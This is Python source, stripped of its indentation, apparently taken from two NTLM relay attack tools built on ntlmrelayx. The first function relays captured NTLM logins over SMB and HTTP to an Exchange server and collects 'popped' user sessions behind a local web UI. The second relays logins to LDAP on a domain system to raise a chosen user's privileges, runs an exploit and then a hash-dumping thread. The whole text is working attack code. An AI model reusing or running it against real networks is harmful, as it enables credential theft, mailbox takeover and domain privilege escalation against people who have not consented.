def startServers(targetURL,
interface,
hashOutputFile=None,
serverIP="127.0.0.1",
serverPort=8000):
PoppedDB = Manager().dict() # A dict of PoppedUsers
PoppedDB_Lock = Lock() # A lock for opening the dict
relayServers = (SMBRelayServer, HTTPRelayServer)
serverThreads = []
C_Attack = {"HTTPS": ExchangePlugin}
for server in relayServers:
c = NTLMRelayxConfig()
c.setProtocolClients({"HTTPS": HTTPSRelayClient})
c.setTargets(TargetsProcessor(singleTarget=str(targetURL + "/")))
c.setOutputFile(hashOutputFile)
c.setMode('RELAY')
c.setAttacks(C_Attack)
c.setInterfaceIp(interface)
c.PoppedDB = PoppedDB # pass the poppedDB to the relay servers
c.PoppedDB_Lock = PoppedDB_Lock # pass the poppedDB to the relay servers
s = server(c)
s.start()
serverThreads.append(s)
logging.info("Relay servers started")
# Now start the WebUI on 127.0.0.1:8000
owa = Thread(target=OWAServer.runServer,
args=(
serverIP,
serverPort,
PoppedDB,
PoppedDB_Lock,
))
owa.daemon = True
owa.start()
try:
while owa.isAlive():
pass
except KeyboardInterrupt, e:
logging.info("Shutting down...")
for thread in serverThreads:
thread.server.shutdown()
def startServers(passargs):
targetSystem = passargs.target_host
privuser = passargs.user
PoppedDB = Manager().dict() # A dict of PoppedUsers
PoppedDB_Lock = Lock() # A lock for opening the dict
relayServers = (SMBRelayServer, HTTPRelayServer)
serverThreads = []
for server in relayServers:
c = NTLMRelayxConfig()
c.setProtocolClients(PROTOCOL_CLIENTS)
c.setTargets(
TargetsProcessor(singleTarget=str("ldap://" + targetSystem),
protocolClients=PROTOCOL_CLIENTS))
c.setOutputFile(None)
c.setEncoding('ascii')
c.setMode('RELAY')
c.setAttacks(PROTOCOL_ATTACKS)
c.setLootdir('.')
c.setInterfaceIp("0.0.0.0")
c.setLDAPOptions(True, True, True, privuser)
c.PoppedDB = PoppedDB # pass the poppedDB to the relay servers
c.PoppedDB_Lock = PoppedDB_Lock # pass the poppedDB to the relay servers
s = server(c)
s.start()
serverThreads.append(s)
logging.info("Relay servers started, waiting for connection....")
status = exploit(passargs)
if status:
exp = Thread(target=gethash, args=(passargs, ))
exp.daemon = True
exp.start()
try:
while exp.isAlive():
pass
except KeyboardInterrupt, e:
logging.info("Shutting down...")
for thread in serverThreads:
thread.server.shutdown()
